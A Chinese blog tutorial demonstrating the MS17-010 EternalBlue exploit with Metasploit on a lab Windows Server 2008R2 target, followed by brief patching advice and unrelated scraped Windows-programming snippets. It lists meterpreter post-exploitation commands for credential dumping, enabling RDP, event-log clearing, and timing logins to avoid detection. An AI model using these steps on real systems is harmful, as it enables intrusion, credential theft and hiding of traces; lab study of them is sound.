MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

2023-11-06

MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法


前言

提到操作系统漏洞,大家肯定听说过耳熟能详的永恒之蓝(MS17-010)了,他的爆发源于WannaCry勒索病毒的诞生。
该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞“EternalBlue”(永恒之蓝)进行传播 。勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。 勒索病毒是自熊猫烧香以来影响力最大的病毒之一。
本文将利用Metasploit工具来对此漏洞进行一次漏洞利用示范以及提出修复建议。


0x01 准备工作

  • 靶机:Windows server 2008R2(IP:192.168.178.128)
  • 攻击机:Kali 2020(IP:192.168.178.131)
  • 工具:namap(这里主要用于漏洞扫描,也可以使用nussus等其他工具)、metasploit(msf)

0x02 漏洞利用

用nmap的漏洞扫描模式

nmap --script=vuln 192.168.178.128

可以发现,靶机上扫到了4个漏洞,其中包括了MS17-010。
在这里插入图片描述
打开metasploit(msf很有意思的是,每次打开都会显示不同的画面。)

msfconsole

在这里插入图片描述
搜索ms17-010相关模块,可以看到一共找到了6个不同的模块。(选项:0-5)

search ms17-010

在这里插入图片描述
加载扫描模块。(选项1)

use auxiliary/scanner/smb/smb_ms17_010

查看配置选项

show options

在这里插入图片描述
RHOSTS显示远程主机未配置,配置目标主机。

set rhosts 192.168.178.128

在这里插入图片描述
开始扫描漏洞,再次证实靶机存在MS17-010漏洞。

exploit

在这里插入图片描述
使用永恒之蓝攻击模块:exploit/windows/smb/ms17_010_eternalblue
并设置攻击载荷:

set payload

在这里插入图片描述
查看选项并设置rhosts:

set rhosts 192.168.178.128

在这里插入图片描述
输入exploit开始攻击。
在这里插入图片描述
运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

演示几个功能

  1. 捕获屏幕
 meterpreter > screenshot

在这里插入图片描述
在这里插入图片描述

  1. 上传/下载文件
meterpreter > upload hello.txt c://

在这里插入图片描述
在这里插入图片描述

meterpreter > download d://1.txt

在这里插入图片描述
在这里插入图片描述

  1. 远程桌面
meterpreter > run vnc 

启动失败了- -好像是靶机没有启动vnc服务。
在这里插入图片描述

  1. 获取cmd,出现了编码问题。
meterpreter > shell

在这里插入图片描述

  1. 获取用户密码
meterpreter > load kiwi 
Loading extension kiwi...Success. 

Kiwi在32位系统中能够正常使用,到了64位系统中需要用到进程迁移
进程迁移请参考:http://hackdig.com/09/hack-144260.htm

完成进程迁移后:

meterpreter > creds_all

在这里插入图片描述

  1. 启用远程桌面,配合上一步获取到的密码。
meterpreter > run post/windows/manage/enable_rdp

使用时一般配合查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。登录rdp会把对方顶掉。

meterpreter > idletime

在这里插入图片描述
使用 rdesktop 命令远程连接桌面

root@kali:~# rdesktop 192.168.2.6

在这里插入图片描述
用上一步获取的账户密码进行登录,登录成功。
在这里插入图片描述

  1. 清除日志
meterpreter > clearev

清除日志前,靶机的事件查看器是这样的。(记录了大量的事件)
在这里插入图片描述
在这里插入图片描述
被清空了~
在这里插入图片描述
还有很多功能选项,可以自己去查一下,就不全部罗列出来了。

0x03 修复方案

受影响的系统版本可以参照:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010

  • 关闭445端口。
  • 打开防火墙,安装安全软件。
  • 安装对应补丁。

总结

为了维持操作系统的安全,我们能做到的是及时更新,安装补丁,关闭不必要的服务和端口。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法 的相关文章

  • 使用加密 API 导入 DER 编码的公钥

    是否可以使用 MS crypto API 导入 DER 编码的公钥 那么我可以验证签名吗 我需要 MS Crypto API 的一段代码或帮助来导入 DER 编码的公钥 证书 以下三个步骤将允许您导入公钥证书 使用获取证书上下文证书创建证书
  • 最后一个参数中的正斜杠会导致批处理文件目录(“%~dp0”)的路径发生更改

    我正在学习如何在批处理脚本中使用参数 并最终创建了某种用于读取参数和设置参数的模板 echo off SetLocal EnableDelayedExpansion set needextra set errstat set noflag
  • C++串口问题

    我在 Visual Studio 上使用 C 连接到任何串行端口 想要与 Arduino 交换 时遇到问题 我正在使用串行类 http www arduino cc playground Interfacing CPPWindows在 Ar
  • 为什么我们从 MultiByte 转换为 WideChar?

    我习惯于处理 ASCII 字符串 但现在使用 UNICODE 我对一些术语感到非常困惑 什么是多字节字符以及什么是widechar有什么不同 多字节是指在内存中包含多个字节的字符吗 widechar只是一个数据类型来表示吗 为什么我们要从M
  • Python 可执行文件:py2exe 还是 PyInstaller?

    要创建可执行文件 Windows 我假设我们应该使用其中之一 Py2exe 或 PyInstaller 它们之间有什么区别 Py2exe 和 PyInstaller 都是包装器 但我注意到以下几点差异 Py2exe 与 python2 4
  • R 脚本自动化时的不同结果

    以下命令对 pdf 文件执行 Ghostscript 这pdf file变量包含该 pdf 的路径 bbox lt system paste C gs gs8 64 bin gswin32c exe sDEVICE bbox dNOPAUS
  • RabbitMq 和“致命错误:握手失败 -handshake_decode_error”

    我正在使用 Windows Server 2012 Erlang 19 2 和 RabbitMq 3 6 6 我在使用 TLS 配置端点之间的连接时遇到问题 我已经尝试了所有关于 SO 的答案 以及所有 RabbitMq 文档here ht
  • NtDll 真的导出 C 运行时函数吗?我可以在我的应用程序中使用这些函数吗?

    我在查看 Windows 10 计算机上的 NtDll 导出表 发现它导出标准 C 运行时函数 例如memcpy sprintf strlen etc 这是否意味着我可以在运行时动态调用它们LoadLibrary and GetProcAd
  • Windows7上python3.5无法安装BeautifulSoup4

    我已经从下载了 beautifulsoup4 4 5 3 tar gzhttps www crummy com software BeautifulSoup bs4 download 4 5 https www crummy com sof
  • 如何解决内存碎片

    我们偶尔会遇到这样的问题 长时间运行的服务器进程 在 Windows Server 2003 上运行 由于内存分配失败而引发异常 我们怀疑这些分配由于内存碎片而失败 因此 我们一直在寻找一些可能对我们有帮助的替代内存分配机制 我希望有人能告
  • 检测计算机何时解锁 Windows

    我用过这个优秀的方法 https stackoverflow com questions 20733441 lock windows workstation using python 20733443锁定 Windows 计算机 那部分工作
  • 以编程方式从 java 代码中查找 java.exe 的绝对路径

    如果我有一个由用户启动的 java jar 或类文件 假设在环境变量中设置了 java 路径 那么我如何从代码中找出 java exe javaw exe 的绝对路径文件正在启动 就像在 ubuntu 上一样 我们可以运行 which ja
  • C# - 方法必须有返回类型

    我在调用 C 中的方法时遇到问题 不断收到消息 方法 计算 必须有返回类型 using System Diagnostics namespace WindowsFormsApplication1 public partial class F
  • 如何使用命令行压缩文件?

    我想使用批处理文件命令 Windows XP 批处理文件 压缩目录 例如 如果我想解压缩一个文件意味着我可以使用jar xf file zip java bat 文件命令 就像我想要一个命令行批处理来压缩目录一样 如果您使用的是 Ubunt
  • 在 Cygwin 软件包列表中找不到 Openssl

    这里说的是https github com joyent node wiki Building node js on Cygwin Windows https github com joyent node wiki Building nod
  • 本地推送通知到在应用程序内运行 JS 代码的 Win8 Live Tile

    我正在尝试将更新发送到我的应用程序的磁贴 当应用程序运行时 这可以正常工作 例如 当用户单击按钮时 我可以轻松地将磁贴更新通知发送到磁贴 我无法解决的是当应用程序无法运行时如何更新磁贴 我找到的唯一选择是使用以下命令从远程 Web 服务器拉
  • 需要 TensorFlow 依赖项。如何在 Windows 上运行 TensorFlow

    我有兴趣让 TensorFlow 在 Windows 上运行 但目前我意识到这是不可能的 因为某些依赖项无法在 Windows 上使用 例如巴泽尔 之所以出现这种需求 是因为据我目前了解 从 TensorFlow 访问 GPU 的唯一方法是
  • 相当于Linux中的导入库

    在 Windows C 中 当您想要链接 DLL 时 您必须提供导入库 但是在 GNU 构建系统中 当您想要链接 so 文件 相当于 dll 时 您就不需要链接 为什么是这样 是否有等效的 Windows 导入库 注意 我不会谈论在 Win
  • 将 CrashDumps 转储到应用程序运行所在的同一文件夹中

    我编写了一个应用程序 我希望对其进行一定程度的自动调试 我想使用 Windows 错误报告将故障转储输出到应用程序运行所在的同一文件夹中 我的想法是 我可以让我的应用程序在它自己的文件夹中查找任何 dmp 文件 然后根据需要上传它们进行分析
  • Windows C++ 中的键盘钩子还是什么?

    我希望构建自己的应用程序 它可以将键盘命令 消息 发送到 Windows 操作系统 例如 当我按下组合键 ctrl shift n 时 我希望启动 notepad exe 我怎样才能做到这一点 您对所使用的概念有什么建议吗 我读过 何时使用

随机推荐

  • 数据库 关系代数 投影概念理解

    关系R上的投影是从R 中选择出若干属性列组成新的关系 记作 A R t A t R 其中A 为R 中的属性列 投影操作是从列的角度进行的运算 例3 查询学生的姓名和所在系 即求Student关系在学生姓名和所在系两个属性上的投影 Sname
  • k8s集群新增节点

    如何动态的为k8s集群增加worknode节点 本文将详细介绍 kubeadm搭建k8集群详见 https blog csdn net wangqiubo2010 article details 101203625 一 VMWare xSp
  • 每日算法题(Day5)----取石子

    题目描述 有一种有趣的游戏 玩法如下 玩家 2 人 道具 N 颗石子 规则 游戏双方轮流取石子 每人每次取走若干颗石子 最少取 1 颗 最多取 K 颗 石子取光 则游戏结束 最后取石子的一方为胜 假如参与游戏的玩家都非常聪明 问最后谁会获胜
  • Linux Kafka 2.11-1.1.1 安装搭建

    Kafka是最初由Linkedin公司开发 是一个分布式 支持分区的 partition 多副本的 replica 基于zookeeper协调的分布式消息系统 它的最大的特性就是可以实时的处理大量数据以满足各种需求场景 比如基于hadoop
  • iframe无边框实现

  • Android 11 绕过反射限制

    1 问题出现的背景 腾讯视频在集成我们 replay sdk 的时候发现这么个错误 导致整个 db mock 功能完全失效 Accessing hidden field Landroid database sqlite SQLiteCurs
  • LeetCode1477-找两个和为目标值且不重叠的子数组

    给你一个整数数组 arr 和一个整数值 target 请你在 arr 中找 两个互不重叠的子数组 且它们的和都等于 target 可能会有多种方案 请你返回满足要求的两个子数组长度和的 最小值 请返回满足要求的最小长度和 如果无法找到这样的
  • 餐馆点餐系统(Java GUI + mysql)

    餐馆点餐系统 Java GUI mysql 开发环境 eclipse mysql 开发语言 Java SQL 本系统采用MVC模式开发的 果冻点餐系统 适合Java初级选手学习 本系统实现了用户注册登录 点餐 商家管理订单等一系列功能 首先
  • crc32碰撞_hash碰撞的概率和可能性比你直觉中大得多

    注 这篇文章源自我10年前写的博客 今天看到有人谈密码安全的 再发一遍和大家讨论下 我发现哪怕10年后 这文章也没过时 很多人还是没拎清 冲突概率和样本空间的关系 前段时间跟某大牛叽歪的时候 被提到我写的一篇文章 用CRC32实现短网址的一
  • 基于Spring Boot的酒店客房管理系统

    文章目录 项目介绍 主要功能截图 后台 前台 部分代码展示 设计总结 项目获取方式 作者主页 超级无敌暴龙战士塔塔开 简介 Java领域优质创作者 简历模板 学习资料 面试题库 关注我 都给你 文末获取源码联系 项目介绍 基于Spring
  • 奇偶校验c语言ascii,奇偶校验(parity check)

    parity check 奇偶校验 N a check made of computer data to ensure that the total number of bits of value 1 or 0 in each unit o
  • 查看Linux的用户权限(转载)

    转 Linux查看用户及其权限管理 查看用户 请打开终端 输入命令 who am i 或者 who mom likes 输出的第一列表示打开当前伪终端的用户的用户名 要查看当前登录用户的用户名 去掉空格直接使用 whoami 即可 第二列的
  • ASP.NET MVC - Model Binding

    Http Request 到Input Model的绑定按照model的类型可分为四种情况 Primitive type Collection of primitive type Complex type Collection of com
  • ROC曲线-阈值评价标准

    ROC曲线指受试者工作特征曲线 接收器操作特性曲线 receiver operating characteristic curve 是反映敏感性和特异性连续变量的综合指标 是用构图法揭示敏感性和特异性的相互关系 它通过将连续变量设定出多个不
  • UE4导入3dmax模型并在场景中添加第三人称角色

    1 3dmax安装Datasmith插件 插件下载位置 https www unrealengine com zh CN datasmith plugins 2 3dmax导出模型 3 UE4导入模型 从3dmax导出datasmith的格
  • Pytorch模型保存与加载模型继续训练

    1 网络模型定义与模型参数保存 定义网络模型与基本参数 以及模型训练和模型保存 使用torch save 方法保存模型 在save dict 中可以保存epoch model optimizer scheduler loss等参数 my n
  • 2013年6月24日星期一(离屏表面blitter)

    粗略看了一下 感觉这章也是个大餐 把所有以前的全屏过程综合起来了 1 总流程 SURFACE 不只是只有主缓冲和后备缓冲 还有离屏表面 离屏表面不只是一个 它装载各种位图 然后被blt到后备缓冲 再primarysurface gt fli
  • django 实现同步登登录和退出

    实现步骤 准备登录Django模板表单 设计用户模型 添加用户的同步登陆 添加登录拦截 实现退出登录的功能 用户登录 步骤一 认证用户 user authenticate username john possword secret 步骤二
  • CSS-IN-JS

    集成css代码在js中 一 为什么会有 CSS IN JS CSS IN JS 是 WEB 项 中将 CSS 代码捆绑在 JavaScript 代码中的解决 案 这种 案旨在解决 CSS 的局限性 例如缺乏动态功能 作 域和可移植性 二 C
  • MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

    MS17 010 Eternal blue永恒之蓝 漏洞利用 修复方法 前言 0x01 准备工作 0x02 漏洞利用 0x03 修复方案 总结 前言 提到操作系统漏洞 大家肯定听说过耳熟能详的永恒之蓝 MS17 010 了 他的爆发源于Wa